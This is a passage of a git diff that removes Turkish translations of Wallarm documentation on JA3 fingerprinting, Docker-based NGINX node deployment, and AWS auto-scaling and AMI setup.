proxy'lenen uygulamaya ilet. - proxy_pass http://app:8080; -} -``` - -## AWS - -[AWS CloudFront’tan JA3 parmak izlerini alma](https://aws.amazon.com/about-aws/whats-new/2022/11/amazon-cloudfront-supports-ja3-fingerprint-headers/) yapılandırılabilir. - -Wallarm, `CloudFront-Viewer-JA3-Fingerprint` ve `CloudFront-Viewer-TLS` JA3 başlıklarını almak için CloudFront ile entegre olabilir: - -1. CloudFront console’a gidin ve **Origin Request Policies** sekmesini seçin. -1. **Create Origin Request Policy**’ye tıklayın ve ilke ayrıntılarını ayarlayın. - - ![CloudFront - origin request policy oluşturma](../images/configuration-guides/ja3/aws-cloudfront-create-origin-request-policy.png) - -1. **Actions** bölümünde **Add Header**’ı seçin. -1. **Header Name** alanına `CloudFront-Viewer-JA3-Fingerprint` girin. - - ![CloudFront - origin request policy’e başlık ekleme](../images/configuration-guides/ja3/aws-cloudfront-origin-request-policy-add-header.png) - -1. **Create**’e tıklayın. Origin request policy’niz artık oluşturuldu. -1. Oluşturulan request policy’yi CloudFront distribution’ınıza eklemek için aşağıdaki adımları izleyin. -1. CloudFront console’da, ilkeyi eklemek istediğiniz distribution’ı seçin. -1. **Origin Request Policies** yanında bulunan **Edit** düğmesine tıklayın. -1. Oluşturduğunuz politikanın yanındaki onay kutusunu seçin ve değişiklikleri kaydedin. - - ![CloudFront - policy’yi distribution’a ekleme](../images/configuration-guides/ja3/aws-cloudfront-attach-policy-to-distribution.png) - - Origin request policy’niz artık CloudFront distribution’ınıza eklendi. Distribution’ınıza istek yapan istemcilerin isteklerine `CloudFront-Viewer-JA3-Fingerprint` başlığı eklenecektir. - -## Google Cloud - -Klasik Google Cloud Application Load Balancer’dan JA3 parmak izlerini almak için özel başlık yapılandırıp değerini `tls_ja3_fingerprint` değişkeni üzerinden alacak şekilde yapılandırabilirsiniz: - -1. Google Cloud console → **Load balancing**’e gidin. -1. **Backends**’e tıklayın. -1. Bir backend service adını ve ardından **Edit**’i tıklayın. -1. **Advanced configurations**’a tıklayın. -1. **Custom request headers** altında **Add header**’a tıklayın. -1. **Header name** girin ve **Header value** değerini `tls_ja3_fingerprint` olarak ayarlayın. -1. Değişiklikleri kaydedin. - -Ayrıntılı talimatlar için [buraya](https://cloud.google.com/load-balancing/docs/https/custom-headers) bakın. - -Örnek yapılandırma isteği: - -``` -PATCH https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/global/backendServices/BACKEND_SERVICE_NAME -"customRequestHeaders": [ - "X-Client-TLS-FP-Value: {tls_ja3_fingerprint}" -] -``` - -## Azure - -[Azure Wallarm dağıtımı](../installation/cloud-platforms/azure/docker-container.md) için, [yukarıda](#nginx) açıklanan NGINX’ten JA3 parmak izi alma yöntemini kullanın. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-docker-en.md b/docs/latest-tr/admin-en/installation-docker-en.md deleted file mode 100644 index 23db7bd20e..0000000000 --- a/docs/latest-tr/admin-en/installation-docker-en.md +++ /dev/null @@ -1,192 +0,0 @@ -# Docker NGINX‑tabanlı İmajı Çalıştırma - -Wallarm NGINX tabanlı filtreleme düğümü bir [Docker imajı](https://hub.docker.com/r/wallarm/node) kullanılarak dağıtılabilir. Bu düğüm hem x86_64 hem de ARM64 mimarilerini destekler ve kurulum sırasında otomatik olarak belirlenir. Bu makale, [inline trafik filtreleme][inline-docs] için düğümün Docker imajından nasıl çalıştırılacağını açıklar. - -Docker imajı Alpine Linux’a ve Alpine’in sağladığı NGINX sürümüne dayanır. Şu anda en güncel imaj, NGINX stable 1.28.0 içeren Alpine Linux 3.22 sürümünü kullanır. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/docker-images/nginx-based-use-cases.md" - -## Gereksinimler - ---8<-- "../include/waf/installation/requirements-docker-nginx-latest.md" - -## Konteyneri çalıştırma seçenekleri - ---8<-- "../include/waf/installation/docker-running-options.md" - -## Ortam değişkenlerini geçirerek konteyneri çalıştırma - -Konteyneri çalıştırmak için: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. Düğüm ile konteyneri çalıştırın: - - === "US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/node:6.5.1 - ``` - === "EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e NGINX_BACKEND='example.com' -p 80:80 wallarm/node:6.5.1 - ``` - -Aşağıdaki temel filtreleme düğümü ayarlarını `-e` seçeneği ile konteynere iletebilirsiniz: - ---8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" - -Komut şunları yapar: - -* `/etc/nginx/http.d` konteyner dizininde minimal NGINX yapılandırmasına sahip `default.conf` dosyasını oluşturur ve filtreleme düğümü yapılandırmasını iletir. -* Wallarm Cloud’a erişim için filtreleme düğümü kimlik bilgilerini içeren dosyaları `/opt/wallarm/etc/wallarm` konteyner dizininde oluşturur: - * Filtreleme düğümü UUID’si ve gizli anahtarıyla `node.yaml` - * Wallarm özel anahtarını içeren `private.key` -* `http://NGINX_BACKEND:80` kaynağını korur. - -## Yapılandırma dosyasını bağlayarak konteyneri çalıştırma - -Hazırlanmış yapılandırma dosyasını `-v` seçeneğiyle Docker konteynerine bağlayabilirsiniz. Dosya aşağıdaki ayarları içermelidir: - -* [Filtreleme düğümü yönergeleri][nginx-directives-docs] -* [NGINX ayarları](https://nginx.org/en/docs/beginners_guide.html) - -Konteyneri çalıştırmak için: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. Düğüm ile konteyneri çalıştırın: - - === "US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v /configs/default:/etc/nginx/http.d/default.conf -p 80:80 wallarm/node:6.5.1 - ``` - === "EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -v /configs/default:/etc/nginx/http.d/default.conf -p 80:80 wallarm/node:6.5.1 - ``` - - * `-e` seçeneği, aşağıdaki zorunlu ortam değişkenlerini konteynere iletir: - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - - * `-v` seçeneği, `default.conf` yapılandırma dosyasını içeren dizini `/etc/nginx/http.d` konteyner dizinine bağlar. - - ??? info "Örnek `/etc/nginx/http.d/default.conf` minimal içeriği için bakın" - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - - location / { - - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - ??? info "Diğer yapılandırma dosyalarını bağlama" - NGINX tarafından kullanılan konteyner dizinleri: - - * `/etc/nginx/nginx.conf` - Bu, ana NGINX yapılandırma dosyasıdır. Bu dosyayı bağlamaya karar verirseniz, Wallarm’ın düzgün çalışması için ek adımlar gereklidir: - - 1. `nginx.conf` dosyasında, en üst düzeye aşağıdaki ayarı ekleyin: - - ``` - include /etc/nginx/modules/*.conf; - ``` - 1. `nginx.conf` içinde, `http` bloğuna `wallarm_srv_include /etc/nginx/wallarm-apifw-loc.conf;` yönergesini ekleyin. Bu, [API Spesifikasyonu Zorlaması][api-policy-enf-docs] için yapılandırma dosyasının yolunu belirtir. - 1. `wallarm-apifw-loc.conf` dosyasını belirtilen yola bağlayın. İçeriği şu şekilde olmalıdır: - - ``` - location ~ ^/wallarm-apifw(.*)$ { - wallarm_mode off; - proxy_pass http://127.0.0.1:8088$1; - error_page 404 431 = @wallarm-apifw-fallback; - error_page 500 502 503 504 = @wallarm-apifw-fallback; - allow 127.0.0.8/8; - deny all; - } - - location @wallarm-apifw-fallback { - wallarm_mode off; - return 500 "API FW fallback"; - } - ``` - 1. Aşağıdaki içerikle `/etc/nginx/conf.d/wallarm-status.conf` dosyasını bağlayın. Sağlanan yapılandırmadaki herhangi bir satırı değiştirmemek kritik önemdedir; aksi halde düğüm metriklerinin Wallarm Cloud’a başarılı şekilde yüklenmesini engelleyebilir. - - ``` - server { - listen 127.0.0.8:80; - - server_name localhost; - - allow 127.0.0.0/8; - deny all; - - wallarm_mode off; - disable_acl "on"; - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } - } - ``` - 1. NGINX yapılandırma dosyanız içinde, `/wallarm-status` uç noktası için aşağıdaki yapılandırmayı oluşturun: - - ``` - location /wallarm-status { - # İzin verilen adresler, WALLARM_STATUS_ALLOW değişkeninin değeriyle eşleşmelidir - allow xxx.xxx.x.xxx; - allow yyy.yyy.y.yyy; - deny all; - wallarm_status on format=prometheus; - wallarm_mode off; - } - ``` - * `/etc/nginx/conf.d` — genel ayarlar - * `/etc/nginx/http.d` — sanal ana bilgisayar ayarları - * `/opt/wallarm/usr/share/nginx/html` — statik dosyalar - - Gerekirse, listelenen konteyner dizinlerine herhangi bir dosyayı bağlayabilirsiniz. Filtreleme düğümü yönergeleri `/etc/nginx/http.d/default.conf` dosyasında tanımlanmalıdır. - -Komut şunları yapar: - -* `default.conf` dosyasını `/etc/nginx/http.d` konteyner dizinine bağlar. -* Wallarm Cloud’a erişim için filtreleme düğümü kimlik bilgilerini içeren dosyaları `/opt/wallarm/etc/wallarm` konteyner dizininde oluşturur: - * Filtreleme düğümü UUID’si ve gizli anahtarıyla `node.yaml` - * Wallarm özel anahtarını içeren `private.key` -* `http://example.com` kaynağını korur. - -## Günlükleme yapılandırması - -Günlükleme varsayılan olarak etkindir. Günlük dizinleri şunlardır: - -* `/var/log/nginx` — NGINX günlükleri -* `/opt/wallarm/var/log/wallarm` — [Wallarm düğüm günlükleri][logging-instr] - -## Wallarm düğümünün çalışmasını test etme - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## Kullanım senaryolarını yapılandırma - -Docker konteynerine bağlanan yapılandırma dosyası, filtreleme düğümü yapılandırmasını [mevcut yönergelerde][nginx-directives-docs] tanımlamalıdır. Aşağıda yaygın olarak kullanılan bazı filtreleme düğümü yapılandırma seçenekleri verilmiştir: - ---8<-- "../include/waf/installation/common-customization-options-docker-4.4.md" \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md b/docs/latest-tr/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md deleted file mode 100644 index 22033b67bb..0000000000 --- a/docs/latest-tr/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md +++ /dev/null @@ -1,166 +0,0 @@ -[link-doc-ami-creation]: create-image.md -[link-doc-lb-guide]: load-balancing-guide.md -[link-doc-as-faq]: https://aws.amazon.com/autoscaling/faqs/ -[img-create-lt-wizard]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/create-launch-template.png -[img-create-asg-wizard]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/create-asg-with-template.png -[img-asg-wizard-1]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/asg-wizard-1.png -[img-asg-increase-policy]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/group-size-increase.png -[img-asg-decrease-policy]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/group-size-decrease.png -[img-alarm-example]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/alarm-example.png -[img-check-asg-in-cloud]: ../../../images/cloud-node-status.png - -[anchor-lt]: #1-creating-a-launch-template -[anchor-asg]: #2-creating-an-auto-scaling-group - -# Filtreleme düğümü otomatik ölçeklendirmesini yapılandırma - -!!! info "Gerekli yetkiler" - Otomatik ölçeklendirmeyi yapılandırmadan önce, Amazon AWS hesabınıza aşağıdaki yetkilerden birinin verildiğinden emin olun: - - * `AutoScalingFullAccess` - * `AutoScalingConsoleFullAccess` - -Filtreleme düğümü otomatik ölçeklendirmesini kurmak için aşağıdaki adımları izleyin: -1. [Bir Launch Template oluşturma][anchor-lt] -2. [Bir Auto Scaling Group oluşturma][anchor-asg] - -## 1. Bir Launch Template oluşturma - -Bir Launch Template, bir Amazon Machine Image (AMI) dağıtımı sırasında kullanılacak instance türünü tanımlar ve bazı genel sanal makine parametrelerini ayarlar. - -Aşağıdaki adımları uygulayarak bir Launch Template oluşturun: - -1. Amazon EC2 panosunda **Launch Templates** sekmesine gidin ve **Create launch template** düğmesine tıklayın. - -2. Şablon adını **Launch template name** alanına girin. - -3. [önceden oluşturduğunuz][link-doc-ami-creation] Amazon Machine Image'ı seçin. Bunu yapmak için **Search for AMI** bağlantısına tıklayın ve **My AMIs** kataloğundan gerekli imajı seçin. - -4. Filtreleme düğümü sanal makinesini başlatmak için kullanılacak instance türünü **Instance type** listesinden seçin. - - !!! warning "Doğru instance türünü seçin" - Filtreleme düğümünü ilk yapılandırırken kullandığınız instance türüyle aynı ya da daha güçlü bir tür seçin. - - Daha az güçlü bir instance türü kullanmak, filtreleme düğümünün çalışmasında sorunlara yol açabilir. - -5. Filtreleme düğümüne erişmek için önceden oluşturduğunuz SSH anahtar çifti adını **Key pair name** listesinden seçin. - -6. Önceden oluşturduğunuz Security Group'u **Security Groups** listesinden seçin. - -7. **Create launch template** düğmesine tıklayın. - - ![Bir Launch Template oluşturma][img-create-lt-wizard] - -Şablon oluşturma işlemi tamamlanana kadar bekleyin. - -Launch Template'i oluşturduktan sonra, bir Auto Scaling Group oluşturma işlemine geçebilirsiniz. - -## 2. Bir Auto Scaling Group oluşturma - -!!! info "Otomatik ölçeklendirme yöntemi seçimi" - Bu bölüm, EC2 Auto Scaling yöntemi kullanılarak bir Auto Scaling Group oluşturma sürecini açıklar. - - AWS Auto Scaling yöntemini de kullanabilirsiniz. - - Amazon’un otomatik ölçeklendirme yöntemlerine ilişkin ayrıntılı SSS için bu [bağlantıya][link-doc-as-faq] gidin. - -Bir Auto Scaling Group oluşturmak için aşağıdaki adımları izleyin: - -1. Amazon EC2 panosunda **Auto Scaling Groups** sekmesine gidin ve **Create Auto Scaling Group** düğmesine tıklayın. - -2. **Launch Template** seçeneğini belirleyin, ardından listeden [önceden oluşturduğunuz][anchor-lt] Launch Template'i seçin ve **Next Step** düğmesine tıklayın. - - ![Bir Auto Scaling Group oluşturma][img-create-asg-wizard] - -3. İstediğiniz Auto Scaling Group adını **Group name** alanına girin. - -4. **Launch Template Version** listesinden Launch Template'in **Latest** sürümünü seçin. - -5. **Fleet Composition** seçeneklerinden birini seçerek Auto Scaling Group için gerekli instance türünü belirleyin. - - Bu kılavuzu Launch Template oluştururken izlediyseniz ve sanal makinelerin başlatılacağı instance türünü belirlediyseniz, **Adhere to the launch template** seçeneğini kullanabilirsiniz. - - !!! info "Doğru instance türünü seçin" - Launch Template'inizde bir instance türü belirtilmemişse veya otomatik ölçeklendirme için birden çok farklı instance türü seçmek istiyorsanız **Combine purchase options and instances** seçeneğini de belirleyebilirsiniz. - - Filtreleme düğümünü ilk yapılandırırken kullandığınız instance türüyle aynı ya da daha güçlü bir tür seçin. Daha az güçlü bir instance türü kullanmak, filtreleme düğümünün çalışmasında sorunlara yol açabilir. - -6. Başlangıç Auto Scaling Group boyutunu **Group size** alanına girin (örn., iki instance). - -7. **Network** açılır listesinden doğru VPC'yi seçin. - -8. **Subnets** açılır listesinden doğru alt ağları (subnet) seçin. - - !!! warning "Filtreleme düğümüne internet bağlantısı sağlayın" - Filtreleme düğümünün düzgün çalışması için Wallarm API server'a erişmesi gerekir. Kullanmakta olduğunuz Wallarm Cloud'a bağlı olarak Wallarm API server seçimi değişir: - - * US Cloud kullanıyorsanız, düğümünüzün `https://us1.api.wallarm.com` adresine erişimi olmalıdır. - * EU Cloud kullanıyorsanız, düğümünüzün `https://api.wallarm.com` adresine erişimi olmalıdır. - - Doğru VPC ve alt ağları seçtiğinizden ve filtreleme düğümünün Wallarm API server'lara erişimini engellemeyecek şekilde bir security group yapılandırdığınızdan emin olun. - - ![Genel Auto Scaling Group ayarları][img-asg-wizard-1] - -9. **Next: Configure scaling policies** düğmesine tıklayarak **Configure scaling policies** sayfasına gidin. - -10. Otomatik ölçeklendirmeyi etkinleştirmek için **Use scaling policies to adjust the capacity of this group** seçeneğini belirleyin. - -11. Minimum ve maksimum Auto Scaling Group boyutunu girin. - - !!! info "Auto Scaling Group boyutu" - Altıncı adımda belirtilen başlangıç grup boyutundan minimum Auto Scaling Group boyutunun daha küçük olabileceğini unutmayın. - -12. **Scale the Auto Scaling group using step or simple scaling policies** seçeneğini belirleyerek adım adım politika yapılandırma modunu etkinleştirin. - -13. **Increase Group Size** parametre grubunu kullanarak grup boyutunu artırma politikasını yapılandırın. - - ![Auto Scaling Group boyut artırma politikası][img-asg-increase-policy] - - 1. Gerekirse, **Name** parametresini kullanarak grup boyutu artırma politikası adını belirtin. - - 2. Grup boyutunun artırılmasını tetikleyecek olayı belirtmek için **Execute policy when** listesinden olayı seçin. Daha önce herhangi bir olay oluşturmadıysanız, bir olay oluşturmak için **Add Alarm** düğmesine tıklayın. - - 3. Bir olay adı, izlenecek bir metrik ve olay oluşumlarına ilişkin bildirimler ayarlayabilirsiniz. - - !!! info "Bildirimleri yapılandırmak için gereken roller" - Bildirim yapılandırması için Amazon AWS hesabınızda **AutoScalingNotificationAccessRole** bulunmalıdır. - - !!! info "Örnek" - Beş dakika içinde ortalama işlemci yükü yüzde 60’a ulaştığında **High CPU utilization** adlı bir olayın tetiklenmesini ayarlayabilirsiniz: - - ![Bir alarm örneği][img-alarm-example] - - - - !!! info "Amazon bulutunun mevcut standart metrikleri" - * CPU Utilization (yüzde olarak) - * Disk Reads (bayt cinsinden) - * Disk Writes (bayt cinsinden) - * Disk Read Operations sayısı - * Disk Write Operations sayısı - * Network In (bayt cinsinden) - * Network Out (bayt cinsinden) - - 4. Bir olay oluşturmak için **Create Alarm** düğmesine tıklayın. - - 5. **High CPU Utilization** olayı tetiklendiğinde gerçekleştirilecek işlemi seçin. Örneğin, olay tetiklendiğinde bir instance eklemek için **Add** eylemini kullanan bir otomatik ölçeklendirme politikası yapılandırabilirsiniz. - - 6. Yeni bir instance eklendikten sonra kaynak tüketiminde sıçramalar olursa olay erken tetiklenebilir. Bunu önlemek için **Instances need `X` seconds to warm up** parametresini kullanarak saniye cinsinden bir ısınma süresi (warm-up) belirleyebilirsiniz. Bu süre boyunca olay tetiklenmez. - -14. Benzer şekilde, grup boyutunu azaltma politikasını yapılandırmak için **Decrease Group Size** parametre grubunu kullanın. - - ![Grup boyutu azaltma politikası][img-asg-decrease-policy] - -15. Gerekirse, Auto Scaling Group için bildirimleri ve etiketleri (tags) yapılandırın veya **Review** düğmesine tıklayarak değişikliklerin gözden geçirilmesine geçin. - -16. Tüm parametrelerin doğru belirtildiğinden emin olun ve ardından **Create Auto Scaling group** düğmesine tıklayarak Auto Scaling Group oluşturma işlemini başlatın. - -Auto Scaling Group başarıyla oluşturulduktan sonra belirtilen sayıda instance otomatik olarak başlatılacaktır. - -Auto Scaling Group'un doğru oluşturulduğunu, grupta başlatılan instance sayısını görüntüleyip bu veriyi Wallarm Cloud'a bağlı filtreleme düğümü sayısıyla karşılaştırarak doğrulayabilirsiniz. - -Bunu Wallarm Console kullanarak yapabilirsiniz. Örneğin, aynı anda iki filtreleme düğümlü instance çalışıyorsa, Wallarm Console ilgili Wallarm düğümü için **Nodes** bölümünde bu sayıyı gösterecektir. - -![Auto Scaling Group durumunu kontrol etme][img-check-asg-in-cloud] - -Artık bir yük dengeleyicinin [oluşturma ve yapılandırma][link-doc-lb-guide] adımlarına geçebilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md b/docs/latest-tr/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md deleted file mode 100644 index cc3c23fc42..0000000000 --- a/docs/latest-tr/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md +++ /dev/null @@ -1,50 +0,0 @@ -[link-doc-aws-as]: https://docs.aws.amazon.com/autoscaling/plans/userguide/what-is-aws-auto-scaling.html -[link-doc-ec2-as]: https://docs.aws.amazon.com/autoscaling/ec2/userguide/GettingStartedTutorial.html -[link-doc-as-faq]: https://aws.amazon.com/autoscaling/faqs/ - -[link-doc-ami-creation]: create-image.md -[link-doc-asg-guide]: autoscaling-group-guide.md -[link-doc-lb-guide]: load-balancing-guide.md -[link-doc-create-template]: autoscaling-group-guide.md#1-creating-a-launch-template -[link-doc-create-asg]: autoscaling-group-guide.md#2-creating-an-auto-scaling-group -[link-doc-create-lb]: load-balancing-guide.md#1-creating-a-load-balancer -[link-doc-set-up-asg]: load-balancing-guide.md#2-setting-up-an-auto-scaling-group-for-using-the-created-balancer - - -# AWS üzerinde filtreleme düğümü otomatik ölçeklendirme yapılandırmasına genel bakış - -Varsa trafik dalgalanmalarını karşılayabileceklerinden emin olmak için Wallarm filtering node otomatik ölçeklendirmesini yapılandırabilirsiniz. Otomatik ölçeklendirmeyi etkinleştirmek, trafik önemli ölçüde arttığında bile uygulamaya gelen isteklerin filtering node'lar kullanılarak işlenmesini sağlar. - -Amazon bulutu aşağıdaki otomatik ölçeklendirme yöntemlerini destekler: -* AWS Autoscaling: - AWS tarafından toplanan metriklere dayanan yeni otomatik ölçeklendirme teknolojisi. - - AWS Auto Scaling hakkında ayrıntılı bilgi için bu [bağlantıya][link-doc-aws-as] gidin. - -* EC2 Autoscaling: - Ölçeklendirme kurallarını tanımlamak için özel değişkenler oluşturmanıza olanak tanıyan eski otomatik ölçeklendirme teknolojisi. - - EC2 Auto Scaling hakkında ayrıntılı bilgi için bu [bağlantıya][link-doc-ec2-as] gidin. - -!!! info "Otomatik ölçeklendirme yöntemleri hakkında bilgi" - Amazon tarafından sunulan otomatik ölçeklendirme yöntemleriyle ilgili ayrıntılı SSS için bu [bağlantıya][link-doc-as-faq] gidin. - -Bu kılavuz, filtering node'ların otomatik ölçeklendirmesini EC2 Auto Scaling kullanarak nasıl yapılandıracağınızı açıklar; gerekirse AWS Auto Scaling'i de kullanabilirsiniz. - -!!! warning "Önkoşullar" - Otomatik ölçeklendirmeyi ayarlamak için Wallarm filtering node içeren bir sanal makine imajı (Amazon Machine Image, AMI) gereklidir. - - Filtering node içeren bir AMI oluşturma hakkında ayrıntılı bilgi için şu [bağlantıyla][link-doc-ami-creation] devam edin. - -!!! info "Özel SSH anahtarı" - Filtering node'a bağlanmak için daha önce oluşturduğunuz özel SSH anahtarına (PEM biçiminde saklanan) erişiminiz olduğundan emin olun. - -Amazon bulutunda filtering node otomatik ölçeklendirmesini etkinleştirmek için aşağıdaki adımları uygulayın: - -1. [Bir Amazon Machine Image oluşturun](create-image.md) -1. [Filtering node otomatik ölçeklendirmesini ayarlayın][link-doc-asg-guide] - 1. [Bir Launch Template oluşturun][link-doc-create-template] - 2. [Bir Auto Scaling Group oluşturun][link-doc-create-asg] -1. [Gelen isteklerin dengelenmesini ayarlayın][link-doc-lb-guide] - 1. [Bir yük dengeleyici oluşturun][link-doc-create-lb] - 2. [Oluşturulan dengeleyiciyi kullanmak için bir Auto Scaling Group yapılandırın][link-doc-set-up-asg] \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-guides/amazon-cloud/create-image.md b/docs/latest-tr/admin-en/installation-guides/amazon-cloud/create-image.md deleted file mode 100644 index f88e2bc39a..0000000000 --- a/docs/latest-tr/admin-en/installation-guides/amazon-cloud/create-image.md +++ /dev/null @@ -1,88 +0,0 @@ -[link-docs-aws-autoscaling]: autoscaling-group-guide.md -[link-docs-aws-node-setup]: ../../../installation/cloud-platforms/aws/ami.md -[link-cloud-connect-guide]: ../../../installation/inline/compute-instances/aws/aws-ami.md#4-connect-the-instance-to-the-wallarm-cloud -[link-docs-check-operation]: ../../../admin-en/uat-checklist-en.md#node-registers-attacks -[img-launch-ami-wizard]: ../../../images/installation-ami/auto-scaling/common/create-image/launch-ami-wizard.png -[img-config-ami-wizard]: ../../../images/installation-ami/auto-scaling/common/create-image/config-ami-wizard.png -[img-explore-created-ami]: ../../../images/installation-ami/auto-scaling/common/create-image/explore-ami.png - -[anchor-node]: #1-creating-and-configuring-the-wallarm-filtering-node-instance-in-the-amazon-cloud -[anchor-ami]: #2-creating-an-amazon-machine-image - -# Wallarm filtreleme düğümü ile bir AMI oluşturma - -Amazon bulutunda dağıtılmış Wallarm filtreleme düğümleri için otomatik ölçeklendirme ayarlayabilirsiniz. Bu işlev, önceden hazırlanmış sanal makine görüntüleri gerektirir. - -Bu belge, Wallarm filtreleme düğümü yüklü bir AMI hazırlama prosedürünü açıklar. Filtreleme düğümünün otomatik ölçeklendirmesini ayarlamak için AMI gereklidir. Otomatik ölçeklendirmeyi ayarlama hakkında ayrıntılı bilgi için bu [bağlantıya][link-docs-aws-autoscaling] gidin. - -Wallarm filtreleme düğümü içeren bir AMI oluşturmak için aşağıdaki işlemleri gerçekleştirin: - -1. [Amazon bulutunda filtreleme düğümü örneğini oluşturma ve yapılandırma][anchor-node] -2. [Yapılandırılmış filtreleme düğümü örneğini temel alan bir AMI oluşturma][anchor-ami] - - -## 1. Amazon Bulutunda Wallarm filtreleme düğümü örneğini oluşturma ve yapılandırma - -Bir AMI oluşturmadan önce tek bir Wallarm filtreleme düğümünün başlangıç yapılandırmasını yapmanız gerekir. Bir filtreleme düğümünü yapılandırmak için şunları yapın: - -1. [Amazon bulutunda bir filtreleme düğümü örneği oluşturun][link-docs-aws-node-setup]. - - !!! warning "Özel SSH anahtarı" - Filtreleme düğümüne bağlanmak için daha önce oluşturduğunuz (PEM formatında saklanan) özel SSH anahtarına erişiminiz olduğundan emin olun. - - !!! warning "Filtreleme düğümüne internet bağlantısı sağlayın" - Filtreleme düğümünün düzgün çalışması için Wallarm API server'a erişim gerekir. Kullanmanız gereken Wallarm API server, kullandığınız Wallarm Cloud'a bağlıdır: - - * US Cloud kullanıyorsanız, düğümünüze `https://us1.api.wallarm.com` adresine erişim izni verilmelidir. - * EU Cloud kullanıyorsanız, düğümünüze `https://api.wallarm.com` adresine erişim izni verilmelidir. - - Doğru VPC ve alt ağları seçtiğinizden ve güvenlik grubunu, filtreleme düğümünün Wallarm API server'lara erişmesini engellemeyecek şekilde yapılandırdığınızdan emin olun. - -2. [Filtreleme düğümünü Wallarm Cloud'a bağlayın][link-cloud-connect-guide]. - - !!! warning "Wallarm Cloud'a bağlanmak için bir token kullanın" - Filtreleme düğümünü Wallarm Cloud'a bir token kullanarak bağlamanız gerektiğini lütfen unutmayın. Birden fazla filtreleme düğümünün Wallarm Cloud'a aynı token ile bağlanmasına izin verilir. - - Böylece filtreleme düğümleri otomatik olarak ölçeklendirildiğinde, her bir filtreleme düğümünü Wallarm Cloud'a elle bağlamanız gerekmez. - -3. [Filtreleme düğümünü][link-docs-reverse-proxy-setup], uygulamalarınız ve API'leriniz için bir ters proxy olarak çalışacak şekilde yapılandırın. - -4. [Filtreleme düğümünün][link-docs-check-operation] doğru şekilde yapılandırıldığından ve uygulamalarınızı ve API'lerinizi kötü amaçlı isteklere karşı koruduğundan emin olun. - -Filtreleme düğümünün yapılandırmasını tamamladıktan sonra, aşağıdaki adımları izleyerek sanal makineyi kapatın: - -1. Amazon EC2 panosunda **Instances** sekmesine gidin. -2. Yapılandırdığınız filtreleme düğümü örneğini seçin. -3. **Actions** açılır menüsünden önce **Instance State**, ardından **Stop** öğesini seçin. - -!!! info "`poweroff` komutuyla kapatma" - Ayrıca SSH protokolü aracılığıyla bağlanıp aşağıdaki komutu çalıştırarak sanal makineyi kapatabilirsiniz: - - ``` bash - poweroff - ``` - -## 2. Bir Amazon Machine Image oluşturma - -Artık yapılandırılmış filtreleme düğümü örneğine dayalı bir sanal makine görüntüsü oluşturabilirsiniz. Bir görüntü oluşturmak için aşağıdaki adımları izleyin: - -1. Amazon EC2 panosunda **Instances** sekmesine gidin. -2. Yapılandırdığınız filtreleme düğümü örneğini seçin. -3. **Actions** açılır menüsünden **Image** ve ardından **Create Image** öğelerini seçerek görüntü oluşturma sihirbazını başlatın. - - ![AMI oluşturma sihirbazını başlatma][img-launch-ami-wizard] - -4. **Create Image** formu görüntülenecektir. **Image name** alanına görüntü adını girin. Kalan alanları değiştirmeden bırakabilirsiniz. - - ![AMI oluşturma sihirbazında parametreleri yapılandırma][img-config-ami-wizard] - -5. Sanal makine görüntüsü oluşturma sürecini başlatmak için **Create Image** düğmesini tıklayın. - - Görüntü oluşturma süreci tamamlandığında ilgili mesaj görüntülenir. Görüntünün başarıyla oluşturulduğunu ve durumunun **Available** olduğunu doğrulamak için Amazon EC2 panosunda **AMIs** sekmesine gidin. - - ![Oluşturulan AMI'yi inceleme][img-explore-created-ami] - -!!! info "Görüntü görünürlüğü" - Hazırlanan görüntü uygulamanıza özgü ayarları ve Wallarm token'ını içerdiğinden, görüntü görünürlüğü ayarını değiştirip herkese açık yapmanız önerilmez (varsayılan olarak AMI'ler **Private** görünürlük ayarıyla oluşturulur). - -Artık hazırlanan görüntüyü kullanarak Amazon bulutunda Wallarm filtreleme düğümlerinin otomatik ölçeklendirmesini [ayarlayabilirsiniz][link-docs-aws-autoscaling]. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md b/docs/latest-tr/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md deleted file mode 100644 index 653991f36d..0000000000 --- a/docs/latest-tr/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md +++ /dev/null @@ -1,105 +0,0 @@ -[link-doc-asg-guide]: autoscaling-group-guide.md -[link-docs-check-operation]: 